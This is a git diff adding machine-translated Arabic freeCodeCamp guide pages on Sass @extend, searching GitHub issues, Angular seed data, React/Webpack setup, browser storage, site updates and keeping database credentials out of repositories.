+ // This outputs the following CSS 
+ 
+ .primary-module p, .another-module p { 
+  color: red; 
+ } 
+` 
+
+هل قبضتها؟ يستخدم محدد `.another-module` `.primary-module p` selector. لاحظ أنه نظرًا لأن `.primary-module` لها محدد `.primary-module` `p` (علامة فقرة) ، عندما يسمى التمديد ويتم تجميع كود Sass الخاص بنا ، نمط `color: red;` يتم تطبيقه على `.primary-module p` و `.another-module p` .
+
+ما يحدث هو أن توجيه الامتداد ليس فقط استنساخ النمط من `.primary-module p` ، بل هو استنساخ علامة تحديد النسب لـ `p` وإضافة ذلك إلى `.another-module` . نحن نسخ التصميم واختيار سليل ما اقترضنا منه. ونتيجة لذلك ، يتم تطبيق النمط الذي قمنا `.another-module` عناصر الفقرة المنحدرة من `.another-module` وليس فقط على عناصر بها فئة `.another-module` .
+
+يمكنك أن ترى أين يمكن أن يحدث شيء من هذا القبيل إذا لم نكن على دراية بما يفعله التمديد.
+
+لذا فقد اتخذنا نظرة خلف الستائر على الامتداد والآن قد تفكر في _ما فائدة استخدام الامتداد؟ هل يستحق كل هذا العناء أو يمكنني فقط استخدام المزيج؟_
+
+الإجابة المختصرة (هناك الكثير مما يمكن قوله حول هذا الموضوع) هي أنه غالباً ما يتم استخدام النطاق للاستفادة عمداً من وراثة الأنماط التي يتم تطبيقها على عناصر أخرى أو استخدام معين لما يُعرف **بالفصول الصامتة** في ساس. يمكن أن يمتد الامتداد بشكل عام لما يمكن أن يستخدمه المزيج بعناية ، ولكن لا ينبغي استخدام هذا المزيج بدلاً من استخدام آخر. يمتد التدريب ويستخدمها مع غرض معين في الاعتبار.
+
+أما بالنسبة للدروس الصامتة ، فهذا شيء نأمل أن يتم تغطيته في قسم مقبل لهذه المقالة. لنتعرف الآن فقط على أن الصفوف الصامتة هي محددات في Sass مسبوقة بحرف "٪" ولن يتم تجميعها على الإطلاق ما لم يتم استدعاؤها بواسطة امتداد.
+
+## استنتاج
+
+إذا كنت قد وصلت إلى نهاية هذه المقالة ، فأنت تستحق بعض التقدير. كتبت هذا على أمل تفسير ساس بطريقة أتمنى لو أنها قد علمتني عندما بدأت العبث بها. إذا كانت CSS عبارة عن شيء تتصارع معه أو كنت تشعر دائمًا بالقلق تجاه مدى السرعة التي تصبح فيها الفوضى ، فعندئذ نأمل أن يبدأ ساس في التخفيف من بعض هذه الإحباطات.
+
+هذه المقالة تعني "دورة مكثفة" من الأنواع للحصول على رطب قدميك في عالم ساس. لا يزال هناك قدر كبير من الأدوات والميزات التي تجعل من تألق ساس ، وكذلك أفضل الممارسات عندما يتعلق الأمر **بهيكلة الأنماط الخاصة بك وكسرها إلى أجزاء** .
+
+نصيحتي هي أن [أقوم](http://www.sassmeister.com/) بوضع sandboxing في محرر النص الخاص بك وعلى [Sassmeister](http://www.sassmeister.com/) للحصول على مزيد من الراحة مع المفاهيم التي تغطيها هذه المقالة. يمكنك أيضًا الاطلاع على مقرر Free Code Camp Sass قريبًا.
+
+اخرج من هناك ورفع مستوى لعبة ساس الخاصة بك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/searching-for-existing-issues-in-github/index.md b/client/src/guide/arabic/miscellaneous/searching-for-existing-issues-in-github/index.md
new file mode 100644
index 0000000000..5d86491564
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/searching-for-existing-issues-in-github/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues in Github
+localeTitle: البحث عن القضايا الحالية في جيثب
+---
+إذا كنت لا تزال ترى مشكلات بعد الحصول على مساعدة على Gitter ، فستحتاج إلى محاولة معرفة ما إذا كان أي شخص آخر قد نشر عن مشكلة مماثلة.
+
+![gif خلال الخطوات التالية للبحث عن GitHub لهذه المشكلة](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  انتقل إلى صفحة [Github](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) الخاصة بـ FreeCodeCamp's.
+    
+2.  استخدم شريط البحث للبحث عن المشكلات التي تم حفظها بالفعل والتي قد تكون ذات صلة بمشكلتك.
+    
+    *   إذا وجدت واحدة ، اقرأها! يمكنك الاشتراك للحصول على تحديثات حول هذه المشكلة المحددة من خلال النقر على `Subscribe` في الشريط الجانبي. يمكنك أيضًا التعليق على المشكلة إذا كان لديك شيء تريد إضافته.
+        
+    *   إذا لم تتمكن من العثور على أي قضايا ذات صلة ، ينبغي عليك إنشاء إصدار جديد من Gitub .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/searching-for-existing-issues/index.md b/client/src/guide/arabic/miscellaneous/searching-for-existing-issues/index.md
new file mode 100644
index 0000000000..fcde3e420f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/searching-for-existing-issues/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues
+localeTitle: البحث عن القضايا الحالية
+---
+إذا كنت لا تزال ترى مشكلات بعد [الحصول على مساعدة على Gitter](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) ، [فستحتاج](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) إلى محاولة معرفة ما إذا كان أي شخص آخر قد نشر عن مشكلة مماثلة.
+
+![gif خلال الخطوات التالية للبحث عن GitHub لهذه المشكلة](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  انتقل إلى صفحة [Github](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) الخاصة بـ FreeCodeCamp's.
+    
+2.  استخدم شريط البحث للبحث عن المشكلات التي تم حفظها بالفعل والتي قد تكون ذات صلة بمشكلتك.
+    
+    *   إذا وجدت واحدة ، اقرأها! يمكنك الاشتراك للحصول على تحديثات حول هذه المشكلة المحددة من خلال النقر على `Subscribe` في الشريط الجانبي. يمكنك أيضًا التعليق على المشكلة إذا كان لديك شيء تريد إضافته.
+        
+    *   إذا لم تتمكن من العثور على أي قضايا ذات صلة ، ينبغي عليك [إنشاء إصدار جديد من Gitub](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/seed-data-in-angular/index.md b/client/src/guide/arabic/miscellaneous/seed-data-in-angular/index.md
new file mode 100644
index 0000000000..ba8911461b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/seed-data-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Seed Data in Angular
+localeTitle: بيانات البذور في الزاوي
+---
+تمثل _الأشياء_ التي تظهر في العرض الرئيسي لتطبيقك جزءًا من بعض بيانات البذور التي تتم إضافتها إلى قاعدة البيانات (بما في ذلك الاختبار ومستخدمي المشرف) في كل مرة تقوم فيها بإعادة تشغيل تطبيقك (عن طريق تشغيل `grunt serve` في سطر الأوامر). يتم تعريف هذه البيانات في **/server/config/seed.js** .
+
+يمكنك إضافة أو إزالة أو تغيير البيانات في هذا الملف ، وسيتم كتابتها إلى قاعدة البيانات الخاصة بك ، مع استبدال أي نسخ مكررة في المرة التالية التي تقوم فيها بتشغيل `grunt serve` . إذا تم الكتابة فوق كائن معرف في **seed.js** ، فستقوم قاعدة البيانات بتعيين كائن جديد _._ الملكية id\_ إليها (ونحن سوف _تغطي._ id\_ العقارات في القسم التالي)، والتي قد تعطيك بعض القضايا في وقت لاحق في الاختبار. لتجنب ذلك ، يمكنك إيقاف عملية `seedDB: false` عن طريق تعيين `seedDB: false` في **/server/config/environment/development.js** .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md b/client/src/guide/arabic/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
new file mode 100644
index 0000000000..a8212782b9
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
@@ -0,0 +1,51 @@
+---
+title: Setting Up a React Es6 and Webpack Project
+localeTitle: إعداد مشروع React Es6 و Webpack
+---
+سيوجهك هذا الويكي إلى كيفية إعداد مشروع عظام مكشوف يستخدم React و Webpack و ES6. سنذهب أكثر من الحصول على كل شيء في العمق.
+
+*   [مساعدة: المزيد عن رد الفعل](https://facebook.github.io/react/docs/why-react.html)
+
+بالنسبة لهذا المشروع ، سوف نستفيد من Webpack ، الذي هو أداة تجميع وحدات نمطية ، ويستخدم بشكل شائع في مشاريع React.
+
+*   [مساعدة: المزيد عن Webpack](https://webpack.github.io/docs/what-is-webpack.html)
+
+[تفاعل بشكل جيد مع ES6](https://babeljs.io/blog/2015/06/07/react-on-es6-plus) ، لذلك سنستخدم ES6 في الكود.
+
+> يعد ES6 تحديثًا مهمًا للغة ، وتم تحديث أول تحديث للغة منذ أن تم توحيد ES5 في عام 2009.  
+> \- [لوكيوبان](https://github.com/lukehoban/es6features)
+
+لا يعمل ES6 في المتصفحات من تلقاء نفسه ، ولكن يمكننا أن نجعلها تعمل يدويًا باستخدام برنامج Babel لتحويلها إلى ES5.
+
+تتمثل إحدى الميزات الرئيسية للتكنولوجيات التي نستخدمها في أن ملف `index.html` بنا سيشير إلى ملف واحد مجمع جافا سكريبت والذي يمكن من خلاله الرجوع إلى ملفات جافا سكريبت الأخرى ، بدلاً من الإشارة إليها من ملف HTML مع علامات `script` .
+
+*   [مساعدة: المزيد عن ES6](http://dev.venntro.com/2013/09/es6-part-1/)
+
+## المتطلبات الأساسية
+
+يهدف هذا البرنامج التعليمي إلى إعطائك بنية عظمية مكشوفة يمكن توسيعها. يجب أن يكون نقطة انطلاق جيدة لأي شخص يريد معرفة React و ES6. إذا لم تقم بإنشاء أي شيء باستخدام JavaScript أو jQuery حتى الآن ، فيجب عليك مراجعة بعض التمارين في [خريطة FreeCodeCamp](http://www.freecodecamp.com/map) أولاً.
+
+قبل البدء ، تأكد من [تثبيت NodeJS](https://nodejs.org/en/download/) و [Node Package Manager](http://blog.npmjs.org/post/85484771375/how-to-install-npm) على أحدث الإصدارات.
+
+# تعليمات سريعة
+
+فيما يلي قائمة بكل التعليمات المذكورة في هذا البرنامج التعليمي.
+
+*   `npm install webpack webpack-dev-server -g`
+*   `mkdir react-webpack-example && cd $_`
+*   `touch webpack.config.js`
+*   `npm init`
+*   `npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react`
+*   `touch .gitignore`
+*   اكتب `.gitignore` (استخدم [https://www.gitignore.io/api/node](https://www.gitignore.io/api/node) )
+*   `mkdir src`
+*   `mkdir dist`
+*   `mkdir src/js`
+*   `touch src/js/client.js`
+*   `touch dist/index.html`
+*   اكتب `dist/index.html`
+*   اكتب `src/js/client.js`
+*   اكتب `webpack.config.js`
+*   `webpack`
+*   `webpack-dev-server --content-base dist`
+*   افتح طريق Webpack Dev Server في المتصفح. فعله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/setting-up-ubuntu-for-programming/index.md b/client/src/guide/arabic/miscellaneous/setting-up-ubuntu-for-programming/index.md
new file mode 100644
index 0000000000..00d4496ada
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/setting-up-ubuntu-for-programming/index.md
@@ -0,0 +1,17 @@
+---
+title: Setting Up Ubuntu for Programming
+localeTitle: إعداد Ubuntu للبرمجة
+---
+> ملاحظة: سنشير إلى Ubuntu 16.04 LTS (Xenial Xerus) في هذه المقالات.
+
+[1\. قم بتنزيل وتثبيت Ubuntu Desktop](http://forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
+
+[2\. تخصيص أوبونتو](http://forum.freecodecamp.com/t/customizing-ubuntu/18382)
+
+[3\. جاز حتى المحطة](http://forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
+
+[4\. تثبيت DevTools ومتصفحات الويب الحديثة](http://forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
+
+[5\. تنزيل برامج تحرير النصوص و IDEs](http://forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
+
+[6\. بدائل لبرنامج Windows و Mac الشهير](http://forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/site-improvements-for-october-2015/index.md b/client/src/guide/arabic/miscellaneous/site-improvements-for-october-2015/index.md
new file mode 100644
index 0000000000..320cde58b0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/site-improvements-for-october-2015/index.md
@@ -0,0 +1,76 @@
+---
+title: Site Improvements for October 2015
+localeTitle: تحسينات الموقع لشهر أكتوبر 2015
+---
+عمل مجتمع المصدر المفتوح الخاص بنا جاهداً طوال شهر سبتمبر على بعض التحسينات الرئيسية. سنحافظ على هذا الإيقاع ، ونجري بثًا حيًا خاصًا في عيد ميلادنا الأول (15 تشرين الأول 2015). فيما يلي التحسينات التي قمنا بدفعها إلى الإنتاج:
+
+## شهادة
+
+*   ظهرت تحديات جديدة تسمى "المطالبة بشهادة المطور الأمامية" و "المطالبة بشهادة المطور الكاملة".
+*   لقد قمنا ببناء سياسة الصدق الأكاديمي في هذه التحديات.
+*   تصدر الشهادات بطريقة برمجية بمجرد استيفاء متطلباتها.
+*   تتوفر الشهادات مباشرة من حزمة التعليمات البرمجية الخاصة بك ، وتكون قابلة للعرض للجميع طالما لم تقم بإخفاء حلولك.
+*   لكل شهادة عنوان URL فريد يمكن التحقق منه يمكن لأصحاب العمل التحقق منه. هذا يجعل من المستحيل صياغة شهاداتنا دون الوصول إلى خوادم الإنتاج لدينا.
+
+## محفظة الرموز
+
+*   تظهر جميع التحديات وحلولها الآن في محفظة التعليمات البرمجية ، بما في ذلك التحديات.
+*   يمكنك إخفاء الحلول الخاصة بك من أشخاص آخرين.
+
+## غير المعتمدين
+
+*   يمكنك إكمال جميع تحدياتنا دون أن يكون من المتاعب لتسجيل الدخول.
+*   بمجرد إكمال التحدي ، ستتم إعادة توجيهك إلى التحدي المنطقي التالي ، حتى إذا لم تكن قد سجلت الدخول.
+
+## تحديات محسنة
+
+*   [أحسبتberkeleytrue](/users/berkeleytrue) طريقة لجعل جميع حلول التحدي [قابلة](/users/berkeleytrue) للمشاركة بنسبة 100 ٪. يمكنك نسخ عنوان URL مباشرة من متصفحك ومشاركته مع الآخرين ، وسيتمكن من تشغيل شفرتك في اختبارات التحدي. يتم تحديث عناوين URL تلقائيًا عند تشغيل اختبارات التحدي.
+*   لقد أعادنا كتابة جميع اختبارات الخوارزمية لتكون شفافة قدر الإمكان. بناءً على طلب شائع ، لم نعد نعرض اختبارات Chai نفسها - مجرد رسالة توضح بوضوح ما يختبره كل اختبار.
+*   بناءً على طلب شائع ، أضفنا تحديات على نمط gif ، ونحل التحديات التي تواجه نمط الفيديو لدينا مع هذه التحديات. ستظل جميع مقاطع الفيديو القديمة متاحة على [قناة YouTube](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) .
+
+## تحسينات ويكي
+
+*   [@ rafase282](/users/rafase282) على وشك الانتهاء من إنشاء ملاحظات لكل تحدي في منهج Free Code Camp ، بما في ذلك التلميحات والحلول.
+*   لقد بدأ [codenonprofit في](/users/codenonprofit) إنشاء مقالات wiki ذات نمط "portal" التي تمثل نقاط دخول أفضل في تشابك بين أكثر من 400 مقالة.
+
+## التجارب التي تم حلها
+
+*   أغلق Plug.dj ، وغرفة لدينا plug.dj معها. يعمل بعض من المعسكر على بناء تطبيق موسيقي مفتوح المصدر لاستبداله.
+*   قمنا بشطب العديد من غرف Gitter غير المرورية المنخفضة من الويكي الخاص بنا وأنشأنا غرفة [دردشة](https://gitter.im/freecodecamp/casual) غير رسمية على شكل [دردشة](https://gitter.im/freecodecamp/casual) غير مرتبط بها.
+*   نوصي الآن المعسكرين باستخدام مجموعة Facebook الخاصة بالمجموعة المحلية للدردشة بدلاً من غرفة الدردشة الخاصة بهم في Gitter. كان عدد قليل فقط من chatroooms المجموعة المحلية Gitter لدينا مناقشات متزامنة نشطة ، ويتكون حوالي 1/3 من جميع المحادثات من شخص ما يقول "مرحبا" وعدم الحصول على رد. لقد شطبنا جميع غرف Local Group Gitter من دليل المجموعة المحلية. ومع ذلك ، سنبقيها مفتوحة لأغراض الأرشفة ، ويمكنك الاستمرار في استخدامها إذا كنت ترغب في ذلك. إليك [مشاركة](http://blog.freecodecamp.com/2015/09/jump-start-your-local-campsite-with-coffee-and-code.html) قصيرة في [المدونات](http://blog.freecodecamp.com/2015/09/jump-start-your-local-campsite-with-coffee-and-code.html) حول كيفية تطور مجموعاتنا المحلية وتناميها.
+
+## تطورات أخرى مثيرة
+
+*   لقد أطلقنا للتو حملتنا الأولى على الإطلاق [الخاصة بالقميص وأضفنا حملة](https://teespring.com/get-free-code-camp-t-shirt) ثانية لتحقيق [الاتحاد الأوروبي](https://teespring.com/free-code-camp-shirt-eu) .
+*   لقد أطلقنا للتو Commit. بدلاً من الخوض في التفاصيل هنا ، اقرأ [@ مدونة codenonprofit](http://blog.freecodecamp.com/2015/10/commit-to-yourself-commit-to-nonprofit.html) .
+*   أطلقنا [مختبرات Free Code Camp Labs](http://freecodecamp.com/labs) لعرض بعض المشاريع الفريدة التي يبنيها المعسكرون.
+*   بدأنا بجمع [القصص من المخيمين](http://freecodecamp.com/stories) ووضعها كلها في مكان واحد. هذه ليست سوى جزء صغير من المخيمين الذين تقدموا حياتهم المهنية وحصلوا على وظائف الترميز بعد التعلم مع Free Code Camp ، ولكنها عينة تمثيلية جميلة.
+
+## التحسينات القادمة في الأسابيع القليلة القادمة:
+
+*   زر تلميح قابل للنقر على كل تحد ينساب من خلال سلسلة من التلميحات المفيدة بشكل متزايد.
+*   الحلول الموصى بها والتي يمكنك مقارنة الحل الخاص بك بمجرد الانتهاء من كل تحدي.
+*   سنقوم بإعادة تسجيل بعض صورنا المتحركة القديمة.
+*   سننهي "الحصول على مجموعة لمشاريع النهاية الخلفية" باستخدام Clementine.js (تحدي نمط gif)
+*   سننهي "الحصول على" مجموعة جديدة لمشاريع النهاية الأمامية (تحدي نمط gif)
+*   سننقل جميع تحديات مشروع النهاية الأمامية و Back End Project إلى نمط gif.
+*   سنضيف زر الرجوع إلى التحديات على نمط الصور المتحركة.
+*   سنقوم بإطلاق لوحة العمل لدينا.
+*   سننشر عدة تحديات جديدة متعلقة بـ JSON API و AJAX
+*   سننهي ميكانيكي إنشاء لوحات ليدربورد مصممًا للمعلمين لتتبع الطلاب والمخيمات لتعقب أصدقاءهم.
+*   سننهي واجهة Hikes ( [تحديات رفع نظرية علوم الكمبيوتر](https://www.youtube.com/watch?v=q7tlgZg4Q1o&list=PLWKjhJtqVAbmfoj2Th9fvxhHIeqFO7wOy) في Briana Swift)
+*   سنقوم بإغلاق طلبات السحب 30 ~ التي تراكمت (شكرا ، المساهمين!)
+
+## وأهداف بعيدة المدى لم ننسها بعد:
+
+*   دعم لغات العالم الرئيسية ( [لا تزال الترجمة جارية](https://trello.com/b/m7zhwXka/fcc-translation) )
+*   تحويل مخيم رمز الحرة في التطبيق isomorphic من صفحة واحدة
+*   إنشاء بديل يستند إلى مستعرض لـ Screen Hero / Team Viewer مناسب تمامًا للاقتران في Free Code Camp.
+*   منهج React.js
+*   D3.js المناهج وتصور البيانات مشاريع الواجهة الأمامية
+
+## لدينا مصدر البرنامج يتحسن بسرعة.
+
+إذا رأيت شيئًا يبدو غير تقليدي أو مكسورًا ، فيرجى النقر على هذا الزر "bug" وإنشاء مشكلة في GitHub لنا. شكرا لصبرك و دعمك.
+
+الترميز سعيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/spanish-terminology-alignment/index.md b/client/src/guide/arabic/miscellaneous/spanish-terminology-alignment/index.md
new file mode 100644
index 0000000000..7ef0f987c8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/spanish-terminology-alignment/index.md
@@ -0,0 +1,67 @@
+---
+title: Spanish Terminology Alignment
+localeTitle: محاذاة المصطلحات الاسبانية
+---
+لتفادي الخلط بين الكامّرين الآخرين ، نحتاج إلى مواءمة جميع المترجمين مع نفس المصطلحات. للقيام بذلك ، قمنا بإنشاء قائمة تحتوي على أكثر الكلمات والترجمات الشائعة التي استخدمناها حتى الآن.
+
+يجدر التأكيد على أن جميع المصطلحات مفتوحة للمناقشة. في حالة إجراء أي تغيير ، يمكنك إرسال رسالة مباشرة عبر Slack إلى miya أو eabedrapo .
+
+## مصطلحات FCC
+
+### غير مترجمة
+
+*   معسكر كود مجاني
+*   تحد
+*   خوارزمية
+*   مشروع الواجهة الأمامية
+*   مشروع النهاية الخلفية
+*   أزرار القائمة العلوي.
+*   العربة
+*   كومة كاملة
+*   بق
+
+## مصطلحات CS
+
+### غير مترجمة
+
+*   خردوات
+*   البرمجيات
+*   قطعة
+*   بايت
+*   الواجهة الأمامية
+*   صلة
+*   الإطار
+*   سؤال
+
+### مترجم
+
+*   المنطق المنطقي: المنطق المنطقي
+*   حلقة: Búcle
+*   علوم الكمبيوتر: الحوسبة
+*   تشغيل (برنامج): تشغيل
+*   انقر فوق: انقر فوق
+*   متجاوبة: قابلة للتكيف
+
+## المصطلحات العامة
+
+### مترجم
+
+*   غير هادفة للربح: الشركات غير الربحية
+*   الذاتي الايقاع: تدار وفق سرعتك الخاصة
+
+## مصطلحات HTML / CSS
+
+### غير traslated-
+
+*   شبكة
+*   الاختبارات والتحدي الاحتياجات (لا ينبغي أن تترجم ، على الأقل لهذا الإصدار الأول).
+
+#### للقيام به
+
+فيديو لإظهار للآخرين كيفية التعاون مع ترجمة ومراجعة الملفات.
+
+#### للمناقشة
+
+نوع الجنس لاستخدام؟ Ahem: "واحدة من أفضل الطرق للحفاظ على **التحفيز** عندما تتعلم ..."
+
+*   "دوافع أو دوافع" (كلا؟)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/store-data-in-web-browsers-storage/index.md b/client/src/guide/arabic/miscellaneous/store-data-in-web-browsers-storage/index.md
new file mode 100644
index 0000000000..14403a0c3a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/store-data-in-web-browsers-storage/index.md
@@ -0,0 +1,86 @@
+---
+title: Store Data in Web Browsers Storage
+localeTitle: تخزين البيانات في تخزين متصفحات الويب
+---
+لإدارة البيانات التي تتم معالجتها بواسطة تطبيق الويب الخاص بك ، لا تحتاج بالضرورة إلى قاعدة بيانات. يتم دعم ميزات "تخزين المستعرض" المعنية من قبل Chrome (الإصدار 4 وما يليه) ، و Mozilla Firefox (الإصدار 3.5 والإصدارات الأحدث) و Internet Explorer (الإصدار 8 والإصدارات الأحدث) ، ومجموعة من المتصفحات الأخرى بما في ذلك iOS و Android.
+
+هناك احتمالان رئيسيان لتخزين المتصفح:
+
+## 1\. localStorage
+
+أي محتوى / بيانات محفوظة على كائن `localStorage` سيكون متاحًا بعد إعادة تشغيل المتصفح (يتم إغلاقه وفتحه مرة أخرى). **_لحفظ عنصر_** إلى `localStorage` ، يمكنك استخدام الطريقة `setItem()` . يجب تسليم هذه الطريقة مفتاح وقيمة.
+
+ `Example: localStorage.setItem("mykey","myvalue"); 
+` 
+
+**_لاسترجاع العنصر من localStorage_** ، يجب استخدام `getItem` للأسلوب. يجب أن تسلم طريقة `getItem` مفتاح البيانات التي ترغب في استردادها:
+
+ `  Example: localStorage.getItem("mykey"); 
+` 
+
+يمكنك إزالة عنصر من `localStorage` باستخدام الأسلوب `removeItem()` . يجب تسليم هذه الطريقة مفتاح العنصر المطلوب إزالته:
+
+ `  Example: localStorage.removeItem("mykey"); 
+` 
+
+لمسح `localStorage` بأكمله ، يجب عليك استخدام الأسلوب `clear()` على كائن `localStorage` :
+
+ `  Example: localStorage.clear(); 
+` 
+
+## 2\. sessionStorage
+
+ستظل العناصر المحفوظة في كائن `sessionStorage` العمل حتى يتم إغلاق المتصفح من قبل المستخدم. ثم ، سيتم مسح التخزين.
+
+يمكنك حفظ عنصر إلى `sessionStorage` ، يرجى استخدام الأسلوب `setItem()` على `sessionStorage` الكائن:
+
+ `Example: sessionStorage.setItem("mykey","myvalue"); 
+` 
+
+**_لاسترداد العنصر من sessionStorage_** ، يجب استخدام `getItem` للأسلوب. يجب أن تسلم طريقة `getItem` مفتاح البيانات التي ترغب في استردادها:
+
+ `  Example: sessionStorage.getItem("mykey"); 
+` 
+
+يمكنك إزالة عنصر من `sessionStorage` باستخدام طريقة `removeItem()` . يجب تسليم هذه الطريقة مفتاح العنصر المطلوب إزالته:
+
+ `  Example: sessionStorage.removeItem("mykey"); 
+` 
+
+لمسح الجلسة بأكملها `sessionStorage` ، يجب عليك استخدام الأسلوب `clear()` على كائن `sessionStorage` :
+
+ `  Example: sessionStorage.clear(); 
+` 
+
+## حفظ المصفوفات إلى التخزين المحلي والذاكرة التخزين المؤقت
+
+لا يمكنك فقط حفظ قيم مفردة في `localStorage` و `sessionStorage` ، ولكن يمكنك أيضًا حفظ محتوى الصفيف.
+
+في هذا المثال ، لدينا صفيف يحتوي على أرقام:
+
+ `var ourArray =[1,2,3,4,5]; 
+` 
+
+يمكننا الآن حفظه إلى `localStorage` أو `sessionStorage` باستخدام `setItem()` الأسلوب:
+
+ `localStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+` 
+
+أو بالنسبة إلى `sessionStorage` :
+
+ `sessionStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+` 
+
+لكي يتم حفظه ، يجب أولاً تحويل الصفيف إلى سلسلة. في المثال الموضح أعلاه ، نستخدم طريقة `JSON.stringify` لإنجاز ذلك.
+
+عند استرداد بياناتنا من `localStorage` أو `sessionStorage` ، قم بتحويلها إلى مصفوفة:
+
+ `var storedArray = localStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+` 
+
+أو بالنسبة إلى `sessionStorage` :
+
+ `var storedArray = sessionStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md b/client/src/guide/arabic/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
new file mode 100644
index 0000000000..d0863f8ebd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
@@ -0,0 +1,84 @@
+---
+title: Storing Mongo Username  Password Persistently Using Dotenv
+localeTitle: تخزين Mongo اسم المستخدم كلمة المرور باستمرار باستخدام Dotenv
+---
+## تخزين المعلومات الآمنة للتطبيقات مع dotenv
+
+تتعلق هذه المقالة بحفظ معلومات بيانات اعتماد اسم المستخدم وكلمة المرور للوصول الآمن إلى قاعدة البيانات على مواقع جهات خارجية مثل mLab في بيئة الاختبار المحلية الخاصة بك لحمايتها من أي شخص ينظر إلى مستودعك العام على موقع مثل github.
+
+يجب عدم تخزين المعلومات الآمنة أو الخاصة داخل الكود الخاص بك ودفعها إلى مستودع ، لأنه سيكون عرضة للجمهور مما يعرض معلوماتك للخطر ، ويعرضك لخطر فقد API أو الوصول إلى قاعدة البيانات إذا كان شخص ما يستخدم بيانات الاعتماد الخاصة بك بطريقة احتيالية.
+
+تناقش [مقالة wiki هذه](//forum.freecodecamp.com/t/guide-for-using-mongodb-and-deploying-to-heroku/19347/3) كيفية حماية بيانات الاعتماد الخاصة بك باستخدام أمر التصدير ، ولكن لجعل هذه المتغيرات مستمرة لديك خياران. ومع ذلك ، يتم مسح متغيرات enivorment التي تم تعيينها بهذه الطريقة في كل مرة يتم فيها إعادة تشغيل shell ، مثل عند إيقاف تشغيل الكمبيوتر وإعادة التشغيل لجلسة ترميز جديدة.
+
+سيتعين عليك مراجعة كافة الخطوات مرة أخرى لتعيين متغيرات البيئة في كل مرة تقوم فيها ببدء تشغيل shell طرفية جديد. هذا يعني أنك ستحتاج إلى تخزين بيانات الاعتماد الخاصة بك في ملف نصي في مكان ما ، أو متابعة البحث عنها في حساب الطرف الثالث الخاص بك (مثل mLab).
+
+يصبح القيام بذلك في كل مرة تبدأ فيها جلسة جديدة أمرًا مملاً ، بدلاً من تخزينها في الشفرة نفسها حيث يسهل العثور عليها ، سأوضح لك طريقة لاستخدام الملف النصي واستيراد بيانات الاعتماد الخاصة بك.
+
+الخيار الأول هو استخدام ملف تعريف shell الخاص بك وتصدير هذه المتغيرات في كل مرة تقوم فيها بتشغيل محطة طرفية جديدة. ومع ذلك ، فعلى مدى بضعة أسابيع من تطوير التطبيقات والمشروعات الجديدة ، يمكن أن ينسحب بروفايل Shell الخاص بك مع قائمة هائلة من المتغيرات التي لن تحتاج إليها كل جلسة. تحتاج فقط إلى بيانات الاعتماد الخاصة بالتطبيق الذي تعمل عليه حاليًا.
+
+## تنظيف git repo يحتوي على بيانات اعتماد آمنة
+
+إذا قمت بالفعل بدفع مستودع التخزين الخاص بك إلى github مع بيانات الاعتماد الخاصة بك المخزنة في codebase ، فإن حذفها ببساطة ودفعها مرة أخرى لن يساعد ، لأن بيانات الاعتماد الخاصة بك يتم تخزينها في السجل الخاص بك ، والتي تكون مرئية للجمهور كذلك. إذا كانت هذه هي الحالة ، استخدم هذه الأوامر لإعادة ضبط مستودع git الخاص بك.
+
+**أولا ،** حذف الريبو الخاص بك من جيثب. ستنشئ واحدة جديدة عندما نكون جاهزين.
+
+**ثانياً ،** احذف مستودع git المحلي من دليل عملك.  
+\-تحويل الدلائل إلى دليل العمل الخاص بك. يجب أن يكون ملف .git repo موجودًا هنا.  
